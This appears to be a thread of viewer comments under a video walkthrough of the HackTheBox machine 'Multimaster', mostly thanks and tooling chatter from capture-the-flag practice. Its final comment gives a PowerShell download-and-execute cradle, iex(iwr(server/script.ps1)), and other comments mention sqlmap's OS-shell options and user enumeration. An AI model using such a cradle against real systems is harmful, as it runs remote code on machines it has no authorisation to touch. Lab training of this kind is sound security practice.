HackTheBox - Multimaster

[@dayisnow]

I rooted this box in the first 25 roots, so the RID brute forcing was actually bypassable with a user that could be enumerated with crackmapexec. It was patched later on, but it was cool to see the stuff I missed out on during the process :) Thanks for the video as always!

[@abdosama]

Always enjoying watching and learning, thanks :)

[@ianmusyoka9717]

Sweet can't wait to see how you did the box

[@constroyanonymous7830]

Hey Ippsec a quick out of the context question does Jeopardy CTF's help in developing skills to solve boot2root CTF's

[@aaronbreeden6898]

Was wondering if any boxes would be affected by that exploit. Looks like at least one is.

[@matheusBBarni]

What SO you are using ? And If It Kali, you are using on a virtual box ?

[@booooman]

He's using Parrot with VMware Workstation afaik

[@puppe1977]

I prefer r.json() instead of json.loads(r.text), where r is return value from requests.post(...)

[@ohmyavax]

why are you never using sqlmaps --os-shell or --os-pwn arguments?

[@ippsec]

I just don’t like them they will rarely work and I rather have more control when touching disk

[@pramodkhandelwal9321]

Brilliant video keep it up....

[@mehmetux4186]

Using proxy when sending data and looking visualization in burp. Thats why i need . So i can solve sending data problem quicly. thank you very much bro.

[@myhackingblog3692]

Thank you for the walk through. At 11 minutes if you provided an empty string you would have had 17 users returned, you missed egre55 😉.

[@cyb3rboy1986]

One of the best boxes

[@bva1092]

Thanks :D

[@utku_yucel]

Thanks.

[@jezielsuzana8643]

nice

[@goliadking]

1:52:03 lmao

[@pswalia2u]

netstat -oa | findstr 127.0.0.1 . -o shows process id

[@kbto]

You don’t need to use any quotations for downloading and executing scripts, you can just do iex(iwr(server/script.ps1)) to avoid using base64